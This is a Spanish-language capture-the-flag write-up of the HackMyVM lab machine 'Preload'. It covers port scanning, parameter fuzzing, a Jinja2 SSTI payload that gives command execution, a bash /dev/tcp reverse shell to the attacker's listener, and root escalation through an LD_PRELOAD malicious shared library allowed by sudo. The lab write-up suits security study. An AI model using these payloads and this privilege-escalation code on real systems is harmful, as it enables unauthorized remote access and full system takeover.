cd ~/blog

~/writeups/hmv/065-preload.md

065 - Preload

easy Linux hmv 24-08-2025
SSTIRCELD_PRELOAD
hackmyvm.eu/machines/machine.php?vm=Preload

~1 min de lectura


Identificamos la IP de la víctima:

 arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.151	08:00:27:8e:15:d6	PCS Systemtechnik GmbH

Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.151
[sudo] contraseña para wh01s17:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-24 23:16 -0400
Nmap scan report for 192.168.1.151
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp
MAC Address: 08:00:27:8E:15:D6 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.96 seconds
 nmap -sCV -p 22,80,5000 -oN 02-targeted.txt 192.168.1.151
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-24 23:16 -0400
Nmap scan report for 192.168.1.151
Host is up (0.00043s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 4f:4c:82:94:2b:99:f8:ea:67:ff:67:3c:06:8a:71:b5 (RSA)
|   256 c4:2c:9b:c8:12:93:2f:8a:f1:57:1c:f6:ab:88:b9:61 (ECDSA)
|_  256 10:18:7b:11:c4:c3:d4:1a:54:cc:18:68:14:bb:2e:a7 (ED25519)
80/tcp   open  http       nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Welcome to nginx!
5000/tcp open  landesk-rc LANDesk remote management
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.80 seconds

Nos conectamos al servicio del puerto 5000, el cuál corre una versión de landesk-rc, que permite el control remoto de equipos:

 nc 192.168.1.151 5000
 * Serving Flask app 'code' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on http://192.168.1.151:50000/ (Press CTRL+C to quit)

Vemos el servidor se ejecuta en el puerto 50000.

Ingresamos a http://192.168.1.151:50000, pero solo muestra el error "Internal Server Error".

Fuzzeamos en busca de parámetros:

 ffuf -u 'http://192.168.1.151:50000/?FUZZ=/etc/passwd' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -fs 290
...
cmd                   [Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 515ms]
...

Ingresamos a http://192.168.1.151:50000/?cmd=, y nos muestra un mensaje de bienvenida:

 curl 'http://192.168.1.151:50000/?cmd='
Welcome!!!!!!!!!!!!!

La página, muestra el mensaje que le pasemos por parámetros:

 curl 'http://192.168.1.151:50000/?cmd=hello'
hello

Estamos frente a una aplicación en flask (python), la cuál, si no cuenta con las configuraciones correctas, puede llegar a ser vulnerable a SSTI.

Probamos con un payload para verificar si procesa la informacion con un motor de plantillas (Jinja2):

 curl "http://192.168.1.151:50000/?cmd=\{\{7*7\}\}"
49
 curl "http://192.168.1.151:50000/?cmd=\{\{config\}\}"
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

Utilizamos el siguiente payload, el cual, no permite ejecutar comandos con el parámetro input:

{%
    for x in ().__class__.__base__.__subclasses__()
%}
    {%
        if "warning" in x.__name__
    %}
        {{
            x()._module.__builtins__['__import__']('os').popen(request.args.input).read()
        }}
    {% endif %}
{% endfor %}

OneLiner:

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}&input=whoami

Ingresamos a http://192.168.1.151:50000/?cmd={%%20for%20x%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20%22warning%22%20in%20x.__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(request.args.input).read()}}{%endif%}{%endfor%}&input=whoami, a través del navegador y obtenemos al usuario "paul".

Obtenemos una shell, inyectando una reverse shell:

http://192.168.1.151:50000/?cmd=...&input=bash -c "bash -i >& /dev/tcp/192.168.1.5/1234 0>&1"

url encoded:

http://192.168.1.151:50000/?cmd={%%20for%20x%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20%22warning%22%20in%20x.__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(request.args.input).read()}}{%endif%}{%endfor%}&input=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.5/1234%200%3E%261%22
 ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.151:43980.
bash: cannot set terminal process group (360): Inappropriate ioctl for device
bash: no job control in this shell
paul@preload:/$

Obtenemos una shell de paul y la primera flag.

Para escalar privilegios, ejecutamos el comando sudo -l:

paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
    env_reset, mail_badpass, env_keep+=LD_PRELOAD,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User paul may run the following commands on preload:
    (root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail,
        /usr/bin/head, /usr/bin/ss

Vemos que podemos ejecutar varios comandos como root y sin contraseña, pero lo que nos llama la atención, es LD_PRELOAD, la cuál, es una variable de entorno que permite a los usuarios "precargar" bibliotecas, utilizando sudo, por lo que podemos elaborar una librería maliciosa como indica el siguiente post https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/, y obtener una shell del usuario root:

❯ cat pwned.c
#include <stdlib.h>
#include <unistd.h>
void _init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  system("/bin/bash");
}

Copiamos la librería en la máquina victima, compilamos y ejecutamos:

paul@preload:/tmp$ gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles

paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/pwned.so ss

root@preload:/tmp#

Obtenemos la última flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados